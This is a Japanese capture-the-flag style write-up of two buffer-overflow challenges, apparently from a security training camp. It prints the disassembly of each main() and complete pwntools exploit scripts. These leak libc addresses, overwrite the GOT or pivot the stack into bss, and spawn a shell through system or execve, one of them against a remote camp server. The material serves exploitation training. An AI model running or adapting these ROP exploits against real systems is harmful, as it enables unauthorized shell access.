4D 実行ファイルの防御機構を突破せよ writeup
problem1_1は講義時間中にシェルを取れたので講義の間だけ接続できたリモートのものに攻撃するコード、problem1_2は帰宅してからシェルを取ったのでローカルでシェル起動したコードとその方針を示す。
problem1_1
問題
mainのアセンブリコードは以下。readで0x3e8バイト読む部分にBOFがある。
Dump of assembler code for function main: 0x0804849d <+0>: push ebp 0x0804849e <+1>: mov ebp,esp 0x080484a0 <+3>: and esp,0xfffffff0 0x080484a3 <+6>: sub esp,0x30 0x080484a6 <+9>: mov eax,ds:0x804a040 0x080484ab <+14>: mov DWORD PTR [esp+0xc],0x0 0x080484b3 <+22>: mov DWORD PTR [esp+0x8],0x2 0x080484bb <+30>: mov DWORD PTR [esp+0x4],0x0 0x080484c3 <+38>: mov DWORD PTR [esp],eax 0x080484c6 <+41>: call 0x8048390 <setvbuf@plt> 0x080484cb <+46>: mov DWORD PTR [esp],0x80485a0 0x080484d2 <+53>: call 0x8048360 <printf@plt> 0x080484d7 <+58>: mov DWORD PTR [esp+0x8],0x3e8 0x080484df <+66>: lea eax,[esp+0x10] 0x080484e3 <+70>: mov DWORD PTR [esp+0x4],eax 0x080484e7 <+74>: mov DWORD PTR [esp],0x0 0x080484ee <+81>: call 0x8048350 <read@plt> 0x080484f3 <+86>: lea eax,[esp+0x10] 0x080484f7 <+90>: mov DWORD PTR [esp+0x4],eax 0x080484fb <+94>: mov DWORD PTR [esp],0x80485b2 0x08048502 <+101>: call 0x8048360 <printf@plt> 0x08048507 <+106>: leave 0x08048508 <+107>: ret End of assembler dump.
方針
printfを使ってprintfのGOTのアドレスをリーク->そのアドレスを使ってlibcのベースアドレスとsystem()のアドレスを計算->systemアドレスと"/bin/sh"をprintfのGOTに書き込み->printf(だがこれは罠でsystem)起動というROPを流し込んだ。
コード
ytoku/Slides/Pwn勉強会 - 電気通信大学MMA
をテンプレとして使った。problem1_2もそう。
# -*- coding: utf-8 -*- from pwn import * import time ## exploit対象のアーキテクチャ context(arch = 'i386', os = 'linux') # context(arch = "amd64", os = "linux") ## 攻撃のサーバに接続 #conn = process("./problem1_1") conn = remote("camp16.rex.gs", 10001) #conn = remote("localhost", 4000) printf_libc_addr=0x4cdd0 payload="AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0A" printf_plt=p32(0x8048360) printf_GOT=p32(0x804a010) pop1ret=p32(0x0804856f) # pop ret pop3ret=p32(0x0804856d) #poppoppop ret read_plt=p32(0x8048350) print "po" aa=raw_input() #leak printf addr payload+=printf_plt payload+=pop1ret payload+=printf_GOT #read(0,printf_got,20) payload+=read_plt payload+=pop3ret payload+=p32(0) payload+=printf_GOT payload+=p32(20) #system("/bin/sh") (printfのgotにsystemのアドレスが入っているためprintf_pltからはsystemが呼ばれる) payload+=printf_plt payload+=b'PPPP' payload+=p32(u32(printf_GOT)+4) conn.send(payload) time.sleep(0.5) #print payload print "po2" aa=raw_input() s= conn.recv(1024) ls=s.split("\n") print ls printf_addr=ls[1][0:4] print "printf_addr="+hex(u32(printf_addr)) libc_base=u32(printf_addr)-printf_libc_addr print "base="+hex(libc_base) system_addr=0x3fe70+libc_base #GOT write,binsh write conn.send(p32(system_addr)+b'/bin/sh\0') ## コンソールの入出力を攻撃対象に接続 conn.interactive()
problem1_2
問題
問題のアセンブリコードは以下。脆弱性はproblem1_1と同じだが、Full RELROなのでGOTに書き込むことができない。
Dump of assembler code for function main: 0x0804849d <+0>: push ebp 0x0804849e <+1>: mov ebp,esp 0x080484a0 <+3>: and esp,0xfffffff0 0x080484a3 <+6>: sub esp,0x40 0x080484a6 <+9>: mov eax,ds:0x804a020 0x080484ab <+14>: mov DWORD PTR [esp+0xc],0x0 0x080484b3 <+22>: mov DWORD PTR [esp+0x8],0x2 0x080484bb <+30>: mov DWORD PTR [esp+0x4],0x0 0x080484c3 <+38>: mov DWORD PTR [esp],eax 0x080484c6 <+41>: call 0x8048390 <setvbuf@plt> 0x080484cb <+46>: mov DWORD PTR [esp],0x80485b0 0x080484d2 <+53>: call 0x8048360 <printf@plt> 0x080484d7 <+58>: mov DWORD PTR [esp+0x8],0x3e8 0x080484df <+66>: lea eax,[esp+0x1c] 0x080484e3 <+70>: mov DWORD PTR [esp+0x4],eax 0x080484e7 <+74>: mov DWORD PTR [esp],0x0 0x080484ee <+81>: call 0x8048350 <read@plt> 0x080484f3 <+86>: mov DWORD PTR [esp+0x3c],eax 0x080484f7 <+90>: mov eax,DWORD PTR [esp+0x3c] 0x080484fb <+94>: add eax,0x1 0x080484fe <+97>: mov BYTE PTR [esp+eax*1+0x1c],0x0 0x08048503 <+102>: lea eax,[esp+0x1c] 0x08048507 <+106>: mov DWORD PTR [esp+0x4],eax 0x0804850b <+110>: mov DWORD PTR [esp],0x80485c2 0x08048512 <+117>: call 0x8048360 <printf@plt> 0x08048517 <+122>: leave 0x08048518 <+123>: ret
方針
やったことはlibc_start_mainのアドレスをリーク->libcの場所計算->readでbss領域にevecve("/bin/sh",0,0)するROPをロード->stack pivotでespをbss領域の先頭に移動->execve発火という感じ。 (twitterからコピペ)
コード
# -*- coding: utf-8 -*- from pwn import * import time ## exploit対象のアーキテクチャ context(arch = 'i386', os = 'linux') # context(arch = "amd64", os = "linux") ## 攻撃のサーバに接続 conn = process("./problem1_2") #conn = remote("camp16.rex.gs", 10001) #conn = remote("localhost", 4000) bss_addr=0x804a020 payload="AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAA" payload2="" printf_plt=p32(0x8048360) printf_GOT=p32(0x8049fec) libc_start_main_GOT=p32(0x8049ff4) libc_start_main_offset=0x19990 pop1ret=p32(0x0804857f) # pop ebp ret pop3ret=p32(0x0804857d) #poppoppop ret leaveret=p32(0x8048408) #leave ret read_plt=p32(0x8048350) #leak libc_start_main addr payload+=printf_plt payload+=pop1ret payload+=libc_start_main_GOT #read(0,printf_got,20) rop 2nd stage is written in bss payload+=read_plt payload+=pop3ret payload+=p32(0) payload+=p32(bss_addr) payload+=p32(200) #stack pivot payload+=pop1ret #pop ebp ret payload+=p32(bss_addr) payload+=leaveret #esp<-bss_addr conn.send(payload) time.sleep(0.5) #print payload s= conn.recv(1024) ls=s.split("\n") print ls lsm_addr=ls[1][0:4] print "lsm_addr="+hex(u32(lsm_addr)) libc_base=u32(lsm_addr)-libc_start_main_offset print "base="+hex(libc_base) execve_addr=libc_base+0xb5be0 binsh_addr=libc_base+0x160a24 #execve("/bin/sh",0,0) payload2+=b'PPPP' #dummy ebp payload2+=p32(execve_addr) payload2+=b'PPPP' #dummy retaddr payload2+=p32(binsh_addr) payload2+=p32(0) payload2+=p32(0) conn.send(payload2) ## コンソールの入出力を攻撃対象に接続 conn.interactive()
stack pivotでpwnにおける世界を広げることができたと思う。